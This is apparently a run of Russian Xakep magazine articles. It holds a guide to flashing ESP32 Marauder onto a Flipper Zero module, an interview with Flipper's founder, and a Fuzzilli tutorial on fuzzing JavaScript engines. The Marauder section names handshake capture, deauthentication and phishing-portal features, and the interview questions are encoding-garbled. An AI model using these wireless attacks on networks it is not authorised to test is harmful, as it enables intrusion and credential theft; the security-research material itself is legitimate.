Платы ESP32 из Китая имеют разъем MicroUSB,
отыскать подходящий провод для которого я смог
далеко не сразу. Как бы смешно это ни звучало,
но простое отсутствие кабеля задержало эту
статью на несколько дней.

Так выглядит ESP32-WROOM
Само собой, и на официальный модуль Wi-Fi, и на покупные (с того же Tindie),
и тем более на самодельные модули нужно установить подходящую прошивку. Раньше ее нужно было компилировать для своей платы, что отсекало
большую часть желающих поиграться. Теперь же появился скрипт
FZEasyMarauderFlash, который автоматически скачает и прошьет подходящий
бинарник на твою плату. Разве что автоматически определять подключенную
плату он не умеет — придется ему подсказать.
Допустим, у тебя такой же модуль ESP32-WROOM, что и у меня, а работать
ты будешь в Windows. В таком случае тебе потребуется скачать драйвер
для чипов CP210x, которые выполняют роль моста USB — UART для прошивки
ESP32. Также тебе понадобится Git for Windows, который будет использоваться для скачивания бинарников прошивки во время работы установщика,
и Python с pip.
Теперь скачивай репозиторий себе, устанавливай зависимости (pip
install -r requirements.txt) и подготовься запускать сам скрипт (набери
в консоли python EasyInstall.py, но пока не выполняй).
Нужно зажать кнопку BOOT на плате, в таком виде подключить ее к компьютеру, отпустить кнопку и запустить скрипт. Если все прошло хорошо, пойдет
скачивание бинарников и ты увидишь меню, как на картинке ниже.

Теперь выбирай свою модель платы (поддерживается даже официальный WiFi DevBoard) — в моем случае это 5. Если драйвер установлен правильно,
прошивка пойдет сразу.

Процесс прошивки платы
В конце должно появиться сообщение об успешной прошивке.

Если после него вываливаются какие-то дополнительные ошибки — их можно
игнорировать, плата уже прошита и будет работать нормально.
Теперь отключаем плату от компьютера и подключаем к «Флипперу»
по следующей схеме:
• RX0 со стороны ESP32 — к TX (контакт 13) Flipper Zero;
• TX0 со стороны ESP32 — к RX (контакт 14) Flipper Zero;
• GND обоих устройств объединяем;
• 3V3 платы подключаем к 3V3 (контакт 9) «Флиппера».
Если все сделано правильно, загорится Flipper в твоих руках красный индикаторный светодиод.
Теперь можно запускать приложение ESP32 Marauder, которое в последней версии Unleashed лежит в папке GPIO, и начинать творить непотребства. Можно, например, включить генератор призрачных сетей.

Само собой, SSID могут быть не только случайными, но и из заданного списка.
Можно захватывать хендшейки для дальнейшего взлома пароля (функция
Sniff), можно принудительно деаутентифицировать клиентов, чтобы они
не могли подключиться, можно поднять точку доступа с требованием авторизации через фишинговый портал... То есть, конечно, можно все это в рамках эксперимента со своими устройствами или теста на проникновение, проводимого по контракту, а в остальных случаях — не стоит.

Evil Portal в действии, фото с Reddit
Если же ты начинающий пентестер, то возможности открываются огромные.
Фактически это неплохая и дешевая замена некоторым известным решениям
для атак на беспроводные сети. Разве что инструкций по пользованию этим
всем мало и порог входа из-за этого повыше.
ÈÒÎÃÈ
Flipper Zero, хоть иногда и воспринимается серьезными пентестерами
как игрушка, уже обзавелся множеством модулей на многие случаи жизни.
В этот обзор не попали модули для работы с магнитными полосами карт,
камеры, франкенштейны из нескольких модулей, но все это в изобилии доступно в интернете.
Хотелось бы поблагодарить классных людей JustCallMeKoKo, TehRabbitt,
Dr.B0rk, quen0n и AWOK за большой вклад в сообщество Flipper Zero. Благодаря этим людям у нас и появилось то, за что мы любим «Флиппер».
Грустный же момент состоит в том, что всех мастей тикток-хакеры постоянно портят репутацию устройству, из-за чего оно попадает под запреты
во все новых странах и нормальные исследователи безопасности (да и просто гики) уже не могут получить его так просто. Тем не менее это все еще возможно, так что предлагаю насладиться той свободой, которая нам пока доступна. Hack the Planet!

COVERSTORY

ПАВЕЛ ЖОВНЕР
О ПРОБЛЕМАХ РАЗРАБОТКИ,
НОВОМ МАРКЕТПЛЕЙСЕ
И СЛЕДУЮЩЕМ FLIPPER

Павел Жовнер с командой разработчиков
создали знаменитый хакерский мультитул
Flipper Zero. Его производство и распространение были сопряжены с массой
сложностей и волнительных моментов.
В этом интервью Павел рассказал Дане
Шеповалову о том, как это было, и сделал
два важных анонса: о запуске магазина
приложений для Flipper и начале работы
над старшей моделью — Flipper One.

Даниил Шеповалов
https://t.me/vecherniy_danya
aprilkey@gmail.com

Не забудь подписаться на телеграм-канал Дани
Шеповалова «Вечерний Даня», чтобы не пропускать новые авторские материалы, и заглядывай
на danya.ru.

— Âñå ñìîòðÿò íà òåáÿ è äóìàþò: íàäî, êàê Ïàøà, íàðèñîâàòü
êàêîé-íèáóäü äåâàéñ íà ëèñòå áóìàãè... Õîòÿ ïîäîæäè, äåâàéñû
æå íå íà áóìàãå, íàâåðíîå, ðèñóþòñÿ. Êàêîé âû ñîôò
èñïîëüçóåòå?
— Мы пользуемся очень много чем. Для трассировки электроники это в
основном Altium Designer. Плюс Altium 365 — это как GitHub, только для «Альтиума» — там есть коммиты, версионность, релизы. По части софта — прошивка написана на C. Внутри команды каждый использует свою среду разработки. У нас своя система для сборки прошивки. Для планирования
интерфейсов мы используем Miro, мы писали в блоге об этом. Там же можно
найти про разработку интерфейсов и глянуть красивые майндмапы из пиксельных экранов. Мобильные приложения у нас нативные: для Android —
на Kotlin, для iOS — на Swift. Промдизайн в CATIA делаем. А так очень много
разного софта используем...

— Ïîëó÷àåòñÿ, âñå äóìàþò: íàäî íàðèñîâàòü â ñïåöñîôòå äåâàéñ,
çàïèëèòü åãî, ïðîäàòü ñòî ìèëëèîíîâ ýêçåìïëÿðîâ è óéòè ñ
çàâîäà. Íó à ÷òîáû çàâîäû íå îñòàíîâèëèñü, ðàññêàæè ïðî ñàìóþ
ñòðåìíóþ ñèòóàöèþ, ñâÿçàííóþ ñ Flipper Zero.
— Изначально мы взяли очень свежий чип STM32WB55, который не был
оттестирован: там в одном камне сразу и Bluetooth на втором ядре, и процессор. И в какой-то момент мы обнаружили фатальный баг, который приводит
к аппаратному выгоранию передающего Bluetooth-тракта, после чего камень
никогда не возвращается в рабочее состояние. И это был конец: мы
это обнаружили на позднем этапе, и нас эта проблема откинула на год.
Пришлось четыре месяца мучить ST, чтобы они починили это. По дороге мы
нашли какую-то австралийскую компанию, которая столкнулась с той же
проблемой. В итоге после всех наших просьб в ST приняли меры. Фикс обозначили как минорный, но на самом деле это был кошмарный баг. Представь,
мы выпустили бы устройство и через какое-то время у всех ломается
Bluetooth на физическом уровне!

— ×èïîâ âñåãäà õâàòàëî?
— Нет, конечно. Когда начался весь этот коллапс с кремнием, у нас тупо
не было чипов, чтобы что-то производить. Мы просто сидели какое-то время
и ничего не делали. А потом еще оказалось, что чипов нет теперь для экранов
и что наш поставщик экранов не даст то количество, которое мы запросили.
И вообще надо ждать, пока он переориентирует линию на новый кристалл.
Мы просто сидели и ждали, пока это произойдет. Попутно нашли еще одну
фабрику, которая делала нам экраны.
— À ÷òî ñ àäîâûìè ïðîäàæàìè?
— В продажах самое стремное — это сама доставка, особенно доставка в...
да вообще доставка — это жесть. То у нас арестовали контейнер, то уничтожили груз, то «Флипперы» не пускали куда-то. Самый дикий ад — все, что
связано с доставкой в Россию. СДЭК этот кошмарный, потом арест груза,
какие-то постоянные проблемы. Мы по триста раз собирали адреса для доставки. Люди уже переехали, начался весь этот геополитический треш.
В общем, доставка — это самое ужасное, с чем мы столкнулись. Очень
тяжело было жить с ощущением, что есть еще тысячи людей, которым
не прислали их купленные устройства. Но сейчас мы доставили всё, в том
числе и в России.
— Äîïóñòèì, òû ïåðåóáåäèë íå âñåõ. Êòî-òî ïî-ïðåæíåìó
íàìåðåí ñïðîåêòèðîâàòü ñîáñòâåííûé äåâàéñ è ïðîèçâåñòè åãî â
Êèòàå. Åñòü ñîâåòû è ëàéôõàêè?
— Тут в двух словах не ответить. Это все равно что отвечать на вопрос «А
какие бы ты советы дал тем, кто хочет построить восемнадцатиэтажный
дом?». Это большая комплексная работа. Очень важно брать профессионалов и иметь кого-то с опытом реальных дел. Очень много людей, гораздых
болтать, но настоящий показатель — это реальный трекшн, реальный продукт, реальные законченные дела.
Мне кажется, просто так не стоит лезть в производство устройств. Можно
попробовать, конечно, но нужно знать, что это крайне рискованно, и нужно
знать специфику китайцев. Вообще у нас в Китае живет часть нашей русскоговорящей команды, они говорят и на китайском тоже. Поэтому у нас такие
теплые отношения с заводами, поставщиками и другими китайскими партнерами. Получается, что если ты можешь построить такую связь, то можно пробовать.
— Òèïà ÷åëîâåê ïîñåëÿåòñÿ â Øýíü÷æýíå, èùåò ïîñòàâùèêîâ è
ïîäðÿä÷èêîâ, òîðãóåòñÿ ñ íèìè, ïîòîì òðàãåäèè ñ áðàêîâàííûìè
ïàðòèÿìè è âñÿêîå òàêîå?
— У нас не совсем такой случай, у нас уже до этого был опыт производства,
и люди из топ-менеджмента находятся в Китае. Они знают язык и погружены
в китайскую культуру. Раньше ведь мы занимались производством устройств
как контрактной разработкой для других компаний, то есть была пачка
наработанных контактов и подрядчики на примете. Есть литьевые фабрики,
которые льют пластик, есть производители электроники, есть несколько фабрик, на которых мы тестируем что-то, печатаем тестовые «грязные» писибихи
(PCB — printed circuit board, печатная схема).
Но вряд ли бывает так, что человек приехал и просто начинает обивать
пороги и пытается договориться на английском. Без какого-то опыта отношений ты выглядишь странно, потому что производство — это высокий риск.
Если просто стучаться в двери и говорить: «Давайте делать дела», то будешь
выглядеть непонятным бомжом. Построить линию — это ресурсоемкий процесс, и фабрика должна быть уверена, что она отобьет свои вложения. Либо
ты им авансируешь много денег, чтобы они стали воспринимать тебя серьезно, либо нужно убедить как-то еще.
Наверное, проще всего подмазаться к кому-то, кто уже наладил процесс.
Поработать какое-то время совместно, набрать контакты. На самом деле
рынок в Китае очень непрозрачный. Например, как вкатиться в разработку 1С, более-менее понятно, а чтобы вкатиться в производство электроники
в Китае, никаких рецептов нет. А ведь помимо завода есть еще поставщики
компонентов. Это тоже отдельная история, с ними надо отдельно выстраивать отношения...

— À ÷òî çà êîíòðàêòíàÿ ðàçðàáîòêà äëÿ äðóãèõ êîìïàíèé?
— Можно зайти на сайт компании Design Heroes и посмотреть, какие проекты
были до «Флиппера». Например, парковочные датчики для компании Nwave.
Мобильные базовые станции для Fairwaves. Разные устройства делали.
Какие-то из них были на «Кикстартере», например проект Monument. И я
с ребятами тоже иногда работал, прошивку делал для каких-то демок.
Еще есть компания Objectlab, она была до Design Heroes. Там всё: от датчиков до вендинговых аппаратов. По Москве стоят такие тележки, продающие
мороженое, — мы участвовали в их дизайне. Но электронику тогда почти
не делали. В основном промдизайн, корпуса, литье и прочее.
— Íà «Ôëèïïåðû» ó âàñ ïî-ïðåæíåìó äèêèé ñïðîñ? Èëè ñòàëî
ñïîêîéíåå?
— Сейчас мы производим около 40 тысяч устройств в месяц. Продаем примерно столько же, даже чуть-чуть меньше. То есть спрос и предложение примерно выровнялись. Хотим продавать чуть больше, может быть, нарастить
еще производство, может быть, оставить как есть. TechCrunch на днях писал,
что мы собираемся в этом году продать на 80 миллионов долларов. Надеюсь,
что получится 100, но хотя бы 80.
— Õîòÿ áû 80 ìèëëèîíîâ äîëëàðîâ, ëàäíî... À îòêóäà â îñíîâíîì
ïîêóïàòåëè èäóò?
— Сейчас очень много дает всякая «органика». В «Тиктоке» у нас около 800 миллионов просмотров. Да и просто сарафанка по интернету. Мы
только сейчас потихоньку начинаем тратиться на маркетинг. До этого все шло
само по себе — органически. Да и мы все время были в ситуации, когда
спрос превышает предложение. Все, что мы произвели, сразу продалось,
и дальше продавать уже нечего, поэтому не было смысла тратиться на рекламу. Сейчас мы начали наращивать объемы и постепенно начинаем строить
планы продаж.
— Ñ ýêâàéðèíãîì âñå îêåé? Âðîäå âàì â PayPal áûëè äîëæíû?
— Совсем недавно в PayPal вернули последние 300 тысяч долларов и навсегда нас забанили. Нам пришлось нехило потратиться на юристов, да и нервов сколько ушло! Нас раз десять блокировали, потом часть денег отдали,
потом вот эти 300 тысяч зажали, но сейчас все наконец перевели. Тем временем прошло уже полтора года. А когда мы привлекли внимание к этой
истории, к нам пришло очень много таких же пострадавших терпил, которые
сидят с блокированными счетами. PayPal — ужасная помойка, не рекомендую
ни в коем случае никому никогда пользоваться.

— À ÷åì òîãäà ïîðåêîìåíäóåøü ïîëüçîâàòüñÿ, åñëè íå ïîìîéêîé?
— Тут зависит от специфики бизнеса. Я вообще не тот человек, которого нужно слушать в этом плане, потому что у нас специфичный продукт: в Stripe нас,
к примеру, просто банят по своим внутренним соображениям. Если вы продаете алкоголь, парфюм, автомобили, страховки, там будут совершенно разные эквайринги. Тут компетентно что-то сказать очень сложно. Знаю историю, как в PayPal забанили программу для macOS — Little Snitch — за то, что
у них в письме с серийным номером для активации была последовательность
букв, в которой PayPal разглядел некое террористическое слово. Вот такой
бывает абсурд.
— Êàêèå ñàìûå íåîáû÷íûå ïðèìåíåíèÿ Flipper Zero, î êîòîðûõ âû
óçíàëè óæå îò ïîëüçîâàòåëåé?
— Я однажды увидел, как пьезодинамиком открывают какой-то ультразвуковой замок. Но наверное, это можно сделать с помощью динамика
телефона. А еще меня удивило, что «Флиппер» считывает чипы домашних
животных, — мы это совсем не задумывали. Мы даже не знали, что так можно:
там другая частота — не 125, а 134 килогерца. Но наша антенна все равно
позволяет такой резонанс делать, и считывание работает, хоть и не очень
хорошо — приходится целиться.
А еще меня удивила функция инфракрасного приемника для компьютера.
Это когда ты подключаешь «Флиппер» к компьютеру по USB, ставишь девайс
инфракрасным окошком в свою сторону и можешь управлять компьютером
с пульта телевизора. «Флиппер» обнаруживается как HID-устройство, принимает сигналы и управляет всем, чем захочешь. Можно нажать Play и включить музыку или кнопкой Next слайды переключать, на остальные кнопки тоже
что-то назначить. Я даже удивился, почему я до этого не додумался.
— Ñêîëüêî ïðèìåðíî ÷åëîâåê â ìèðå ÷òî-òî ïèëÿò ïîä «Ôëèïïåð»?
— Мне очень сложно сказать, сколько реально людей. У нас в Discord что-то
в районе 50–100 тысяч человек, и всегда что-то активно обсуждают. Людей,
которые реально программируют что-то полезное, а не просто Hello World,
наверное, в районе сотни, может быть — две сотни из нашего полумиллионного комьюнити. Для Flipper написано около 60 приложений. Кстати, скоро мы
откроем маркетплейс. Через мобильное приложение Flipper можно будет
ставить программы, написанные сторонними разработчиками. И любой
желающий сможет отправить нам свой FAP — Flipper Application Package.
— Êàê âûãëÿäèò êîìàíäà Flipper Zero?
— Команда у нас примерно из 50 человек. Мы сейчас хантим людей, может
быть, к концу года станет раза в два больше. У нас уникальный коллектив и по
составу, и по демографическому признаку, и по этническому. Мы очень
ЛГБТ-френдли. Вообще, я считаю, в СНГ нет команд, которые делают что-то
подобное тому, что делаем мы. Ну, может быть, Яндекс.
Мы всё разрабатываем внутри, ин-хаус, пошагово. Сначала — промышленный дизайн, то есть придумываем, как будут выглядеть формы. Затем
конструктив — то есть как устройство собирается, как шурупы вкручиваются,
где ребра жесткости, как детали будут из пресс-формы вытаскиваться и так
далее. Дальше разрабатываем электронику: сами платы трассируем, строим
тестировочные линии вокруг этого. Это важный этап, потому что наладить
производственную линию — это не просто отрассировать плату в «Альтиуме».
Прошивку тоже пишем сами: основная часть команды — это как раз программисты. В основе — наша прошивка, а вокруг нее — множество других утилит. Весь тулчейн мы сделали сами, и все лежит в открытом доступе.
В общем, это хардкорный embedded! Плюс у нас два мобильных приложения
Flipper — для iOS и для Android.
Маркетинг тоже фигачим сами: контент, сайты, видео, статьи... А также
все, что связано с комьюнити. И конечно, продажи и большая часть того, что
связано с логистикой. Именно поэтому я считаю, что в СНГ нет сравнимых
с нами команд.

— Flipper Zero èçíà÷àëüíî ïëàíèðîâàëñÿ êàê ìëàäøàÿ ìîäåëü, â
äîïîëíåíèå ê Flipper One ñ ïîëíîöåííûì ïðîöåññîðîì, Linux è
Wi-Fi. Ê ýòèì ïëàíàì âîçâðàùàåòåñü õîòÿ áû â ìûñëÿõ? ß ÷èòàë,
÷òî òû õîòåë îòêàçàòüñÿ îò ïîâòîðåíèÿ èñòîðèè ñ ðàçðàáîòêîé, íî,
ìîæåò, ýòî ìîðàëüíî áûëà êàêàÿ-òî íèçøàÿ òî÷êà, êîòîðàÿ òåïåðü
ïðîéäåíà?
— Мы сейчас работаем над Flipper One, но пока не совсем понимаем, каким
он должен быть. Мы хотим вообще жирный комбайн с FPGA и SDR, в котором
все протоколы можно будет определить программно, но пока есть сомнения,
будут ли покупать устройство за 300–500 долларов.
Так что проект в активном R&D, но пока нет понимания по важным частям.
Например, не выбрали модуль Wi-Fi, потому что все существующие чипы,
пригодные для атак, уже устарели. Возможно, придется спонсировать разработку своего драйвера. В общем, увидим!

ВЗЛОМ

ФАЗЗИМ JS-ДВИЖКИ
ПРИ ПОМОЩИ FUZZILLI

Сегодня в меню макароны! Точнее, наглядная демонстрация того, как использовать фаззер Fuzzilli, чтобы искать уязвимости в движках JavaScript. Теории будет
всего чуть-чуть, сосредоточимся на практике. Быстренько соберем необходимый
инструментарий, а затем приступим к поиску багов при помощи фаззинга.

sploitem
Vulnerability researcher в
Secware.ru @sploitem
sploitem@gmail.com

Раньше фаззить движки JavaScript (те самые, что позволяют делать в браузере падающий снег или разрабатывать бэкенды на Node.js) было сложно.
Мутации JS-кода приводили к синтаксическим ошибкам, что серьезно замедляло работу. Семплы отбрасывались движком, и приходилось генерировать
новые и новые. На помощь пришли фаззеры на основе грамматики, но их
применение тоже не назовешь легким.
В 2019 году исследователь безопасности saelo публично открыл свою
разработку — фаззер Fuzzilli. Идея была в том, чтобы вместо JavaScript
генерировать подобие байт-кода, которое будет проще подвергать мутациям. Собственно, хоть в названии и обыгран сорт пасты, происходит оно
от FuzzIL — Fuzzing Intermediate Language, промежуточный язык для фаззинга.

Fuzzilli
ÑÒÅÍÄ
Для стенда нам понадобится виртуальная машина на Linux. Можно скачать
готовую виртуалку с сайта osboxes.org, выбрав дистрибутив по вкусу. Я
в статье буду использовать Ubuntu 22.
Чем больше ты выделишь виртуалке ресурсов, тем лучше. Фаззер показывает покрытие кода, и в зависимости от мощности машины на весь движок
может уйти от одного дня до нескольких недель.
Из инструментов понадобится Git, язык программирования Swift (не путать
с певицей), а также весь тулчейн, нужный для сборки JS-движка. Но об этом
поговорим чуть позже.
Пока же запускай виртуалку и вводи свой пароль.
Password=osboxes.org
echo $Password | sudo -S apt update
sudo apt upgrade -y

Update и upgrade

Фаззинг — это такой метод тестирования, при котором в ПО вводят неправильные, неожиданные или рандомизированные данные, а фаззер отслеживает падения, срабатывания встроенных утверждений (assert) и утечки
памяти.
Важный параметр в фаззинге — это покрытие кода. По сути это процент
задействованного кода программы при выполнении определенного набора
тестов.
Фаззинг можно разделить на «тупой», или неструктурированный,
и «умный», или структурированный. Когда фаззер ничего не знает о структуре
входных данных программы, то это тупой фаззинг. Если знает — умный.
Создание входных данных делится на генерацию и мутацию. Генерация —
это когда данные создают полностью с нуля, мутация — когда изменяют имеющиеся.
Еще фаззеры можно разделить на тестирующие методом черного
и белого ящика — в зависимости от того, какие у нас есть знания
об исходном коде.
Тестирование методом черного ящика означает полное отсутствие данных
о структуре программы, в таком случае фаззер создает рандомизированные
входные данные.
Фаззинг методом белого ящика подразумевает анализ программы
для повышения покрытия кода. Например, символическое исполнение
для обхода разных частей программы. Но анализ программы занимает больше времени, чем при фаззинге методом черного ящика.
Еще «ящик» может быть серым. В таком случае мы применяем инструментацию кода вместо анализа программы. Это позволяет получать информацию
о программе без анализа. То есть что-то среднее между белым и черным
ящиком. Получается, можно быстро генерировать входные данные, но при
этом узнать информацию о покрытии кода.
Фаззер Fuzzilli относится как раз к третьему виду. По типу генерации входных данных он совмещает в себе генерацию и мутацию. По типу фаззинга он
скорее «умный».

JavaScript-äâèæêè
Основные части движка JavaScript — это парсер, интерпретатор и компилятор.

JS-пайплайн
Все начинается с парсинга исходного кода на JavaScript. Строится абстрактное синтаксическое дерево (AST). На его основе создается байт-код. Затем
интерпретатор выполняет байт-код.
Во время выполнения записывается разная информация — proling data.
В дальнейшем она используется при компиляции байт-кода в машинный.
Этим занимается компилятор.
Машинный код генерируется в тех случаях, когда какой-то участок часто
используется. Например, функция выполняется в цикле. Тогда выгоднее потратить время на его компиляцию и в дальнейшем выиграть во времени
выполнения (ведь интерпретация идет медленнее).
Обычно применяется несколько компиляторов, и выбор происходит
в зависимости от уровня оптимизации кода.

Подробнее о работе движков JS — в презентации
«JavaScript engines: The Good Parts» (PDF,
WebArchive).

ÏÎÄÃÎÒÎÂÊÀ ÔÀÇÇÅÐÀ
Fuzzilli поставляется в виде исходного кода, написанного на языке Swift.
Для скачивания исходников понадобится Git, для сборки Fuzzilli — пакеты
GCC, Binutils и, конечно, исходники фаззера. Ставим зависимости и клонируем репозиторий Fuzzilli.
Password=osboxes.org
echo $Password | sudo -S apt update
sudo apt install git binutils gcc -y
git clone https://github.com/googleprojectzero/fuzzilli

Клонируем репозиторий
Теперь переходим на сайт Swift в раздел Download и ищем релиз для своего
дистрибутива. Для Ubuntu 22 качаем релиз Ubuntu 22.04 x86_64.

Swift
Распаковываем архив и копируем папку usr, чтобы установить Swift. После
этого убеждаемся, что все корректно настроено.
Вот мини-скрипт для ленивых. Если читаешь эту статью спустя много лет,
поменяй переменные SwiftUrl на соответствующий URL со страницы Swift.
# Установка Swift
Password=osboxes.org
SwiftUrl=https://download.swift.org/swift-5.8.1-release/ubuntu2204/
swift-5.8.1-RELEASE/swift-5.8.1-RELEASE-ubuntu22.04.tar.gz
SwiftTar=$(echo $SwiftUrl | sed 's:.*/::')
SwiftFolder=${SwiftTar%.tar.gz}
# Переходим домой
cd $HOME
# Качаем архив
wget $SwiftUrl
# Извлекаем
tar -xzf $SwiftTar
# Устанавливаем
echo $Password | sudo -S cp -r $SwiftFolder/usr /
# Удаляем архив
rm $SwiftTar
# Удаляем папку
rm -rf $SwiftFolder
# Тестовый запуск
swift --version

Установка Swift
Теперь мы готовы к сборке фаззера. Переходим в папку Fuzzilli и запускаем
сборку.
cd fuzzilli && swift build -c release

Собираем Fuzzilli
Фаззер готов. Можно почитать раздел помощи, если есть желание.
swift run -c release FuzzilliCli --help

Переходим к подготовке JS-движков. На главной странице репозитория инструкция гласит: «Скачайте исходный код движка. Скомпилируйте его, как описано в инструкции к нему в папке Targets». Для каждого движка там есть
отдельная папка, в которой указано, как собрать движок для фаззинга.

Продолжение статьи



← НАЧАЛО СТАТЬИ

ВЗЛОМ

ФАЗЗИМ JS-ДВИЖКИ
ПРИ ПОМОЩИ FUZZILLI

ÑÁÎÐÊÀ È ÔÀÇÇÈÍÃ V8
Òåîðèÿ
Начнем с движка браузера Google Chrome, он называется V8. Это движок
JavaScript и WebAssembly, разработанный в Google, распространяется
с открытым исходным кодом, написан на C++. Используется в Chrome,
Node.js и множестве дериватив Chrome.
Разработали этот движок в датском городе Орхус, а ведущего разработчика зовут Ларс Бак. Бак занимался разработкой языка Self, а также
HotSpot — виртуальной машины Java. Поэтому многое из наработок Self
перекочевало в V8. Например, та же JIT-компиляция или «карты» объектов
(maps).

Подробнее — в научной работе, которая легла
в основу Self: «An Efcient Implementation of SELF,
a Dynamically-Typed Object-Oriented Language
Based on Prototypes» (PDF, WebArchive).

Движок состоит из интерпретатора Ignition, неоптимизирующего компилятора
Sparkplug и оптимизирующего компилятора TurboFan.

Пайплайн V8
Ñáîðêà
В папке Targets/V8 нам предлагают следовать инструкциям с сайта. Но я
не буду утомлять ими, а скомпилирую все в один мини-скрипт.
# Подготовка и сборка V8
Password=osboxes.org
echo $Password | sudo -S apt update
# Переходим домой
cd $HOME
# Качаем репозиторий depot_tools
git clone https://chromium.googlesource.com/chromium/tools/depot_
tools.git
# Добавляем в PATH
echo "PATH=$HOME/depot_tools:$PATH" >> ~/.bashrc
source ~/.bashrc
# Качаем исходники
gclient
fetch v8
cd v8/
gclient sync
# Ставим зависимости (update — так как скрипт попросит ввести пароль)
echo $Password | sudo -S apt update
./build/install-build-deps.sh
# Билдим при помощи скрипта из папки фаззера
$HOME/fuzzilli/Targets/V8/fuzzbuild.sh

Сборка V8
Скрипт переходит в домашний каталог пользователя, затем ставит
depot_tools (для скачивания и сборки V8), качает и компилирует исходный
код движка V8. Сборка займет какое-то время, зависит от ресурсов машины.
Можешь пока сделать небольшую разминку.

Ôàççèíã
Приступаем наконец к самому фаззингу. Для этого нужно выполнить следующую команду:
# Запускаем Fuzzilli
# Отключаем дампы
echo $Password | sudo -S sysctl -w 'kernel.core_pattern=|/bin/false'
# Переходим в папку Fuzzilli
cd $HOME/fuzzilli
# Запускаем
swift run -c release FuzzilliCli --profile=v8 --resume --storagePath=
$HOME/fuzzilli-storage-v8 $HOME/v8/out/fuzzbuild/d8

Начинаем фаззить V8
Основные настройки — это профиль движка (--profile=v8), возврат к предыдущей сессии фаззинга (--resume) и хранилище, куда фаззер будет сохранять свои данные (--storagePath). Там будут храниться найденные краши,
корпус семплов и прочая информация.
Периодически он будет выводить статистику фаззинга. В основном интересны количество найденных крашей (Crashes Found) и процент покрытия
кода (Coverage).

Статус фаззинга
ÑÁÎÐÊÀ È ÔÀÇÇÈÍÃ SPIDERMONKEY
Òåîðèÿ
Переходим к JavaScript-двиглу Firefox.
SpiderMonkey — это потомок первого в мире движка JavaScript. Его релиз
состоялся аж в 1995 году! Изначально он разработан Бренданом Айком
в компании Netscape. Первые версии были написаны на C, но в дальнейшем
код переписали на C++.
Вот структура SpiderMonkey. Парсер производит байт-код. Интерпретатор
JavaScript этот байт-код выполняет. Baseline-интерпретатор занимается созданием инлайнового кеша. Baseline-компилятор создает неоптимизированный машинный код. WarpMonkey — оптимизированный машинный код.

Пайплайн SpiderMonkey
Ñáîðêà
В инструкции пишут, что нужно просто клонировать репозиторий Gecko
и запустить fuzzbuild.
Но на самом деле надо применить патчи из папки Patches. И только после
этого билдить. К тому же запускать fuzzbuild нужно не из js/src, а из рута
gecko-dev.

Что ж, приступаем. Нам понадобится curl и компилятор Rust для сборки движка.
# Подготовка и сборка SpiderMonkey
Password=osboxes.org
cd $HOME
# Ставим curl
echo $Password | sudo -S apt install curl -y
# Ставим Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs -o install.
sh
sh ./install.sh -y
source "$HOME/.cargo/env"
# Клонируем
git clone https://github.com/mozilla/gecko-dev.git
# Заходим
cd gecko-dev/js/src
# Патчим
git apply $HOME/fuzzilli/Targets/Spidermonkey/Patches/*
cd $HOME/gecko-dev
# Собираем
$HOME/fuzzilli/Targets/Spidermonkey/fuzzbuild.sh

Rust установлен

Билдим
Ôàççèíã
После того как движок собран, можем запустить фаззинг из папки fuzzilli.
Команды запуска и параметры фаззера те же, кроме профиля и исполняемого файла.
# Запуск Fuzzilli
# Отключаем дампы
echo $Password | sudo -S sysctl -w 'kernel.core_pattern=|/bin/false'
# Переходим в папку Fuzzilli
cd $HOME/fuzzilli
# Запускаем
swift run -c release FuzzilliCli --profile=spidermonkey --resume
--storagePath=$HOME/fuzzilli-storage-sm $HOME/gecko-dev/objfuzzbuild/dist/bin/js

Фаззим SpiderMonkey
ÑÁÎÐÊÀ È ÔÀÇÇÈÍÃ JAVASCRIPTCORE
Ну и наконец, JavaScriptCore — JavaScript-движок браузера Safari.
Òåîðèÿ
Вообще, можно сказать, что это потомок JavaScript-движка KJS из браузера
Konqueror, входящего в KDE. Проект WebKit стартовал в 2001 году как форк
от KHTML и KJS.
Пайплайн у него самый сложный, четырехуровневый.
• LLint или Low Level Interpreter — это просто интерпретатор байт-кода, сгенерированного из исходного кода JavaScript.
• Далее идет немного оптимизирующий компилятор Baseline. Оба они
собирают информацию, необходимую для дальнейших оптимизаций
машинного кода.
• Следующий компонент — DFG JIT (Data Flow Graph Just In Time). Он отвечает за повышение оптимизации машинного кода.
• Ну и FTL JIT (Faster Than Light), генерирует наиболее оптимизированный
машинный код.

Пайплайн KJS
Ñáîðêà
Смотрим, что пишут в Targets по поводу JavaScriptCore.

Нужно клонировать код из репозитория WebKit, накатить патчи и запустить
fuzzbuild.sh. Для сборки потребуется установить Clang и зависимости.
В папке Tools есть готовые скрипты для этого. Качаем, ставим все необходимое, патчим, билдим. Как обычно, вот скрипт:
# Подготовка и сборка JavaScriptCore
Password=osboxes.org
cd $HOME
# Качаем исходный код
git clone https://github.com/WebKit/WebKit.git
# Ставим зависимости
cd WebKit
echo $Password | sudo -S apt update
sudo apt install clang -y
Tools/gtk/install-dependencies
# Патчим
git apply ../fuzzilli/Targets/JavaScriptCore/Patches/*
# Билдим
$HOME/fuzzilli/Targets/JavaScriptCore/fuzzbuild.sh

Сборка JSC
Ôàççèíã
Когда сборка движка будет закончена, можем запускать фаззинг. Поехали!
# Запуск Fuzzilli
# Отключаем дампы
echo $Password | sudo -S sysctl -w 'kernel.core_pattern=|/bin/false'
# Переходим в папку Fuzzilli
cd $HOME/fuzzilli
# Запускаем
swift run -c release FuzzilliCli --profile=jsc --resume --storagePath
=$HOME/fuzzilli-storage-jsc $HOME/WebKit/FuzzBuild/Debug/bin/jsc

Фаззинг JavaScriptCore
Все работает. Осталось дождаться интересных крашей!
ÂÛÂÎÄÛ
Я постарался рассказать всю необходимую теорию о фаззинге, а также мы
подготовили платформу для фаззинга трех основных движков JavaScript.
Однако Fuzzilli умеет работать и с другими движками (достаточно заглянуть
в папку Targets):
• JerryScript;
• QuickJS;
• Qt QJSEngine;
• XS;
• duktape.
Их можешь попробовать пофаззить самостоятельно.







Coverage Guided Fuzzing for JavaScript Engines Thesis (PDF)
Видео с OffensiveCon19
Слайды OffensiveCon19 (PDF)
How Fuzzilli Works
Репозиторий Fuzzilli на GitHub

ВЗЛОМ

ИЩЕМ СТРУКТУРЫ ЯЗЫКОВ
ВЫСОКОГО УРОВНЯ
В ПРОГРАММАХ ДЛЯ X86-64

Крис Касперски
Юрий Язев
Известный российский
Широко известен под
хакер. Легенда ][, exпсевдонимом yurembo.
редактор ВЗЛОМа. Также Программист, разработчик
известен под псевдонимами видеоигр, независимый
мыщъх, nezumi (яп. , исследователь. Старый автор
мышь), n2k, elraton, souriz,
журнала «Хакер».
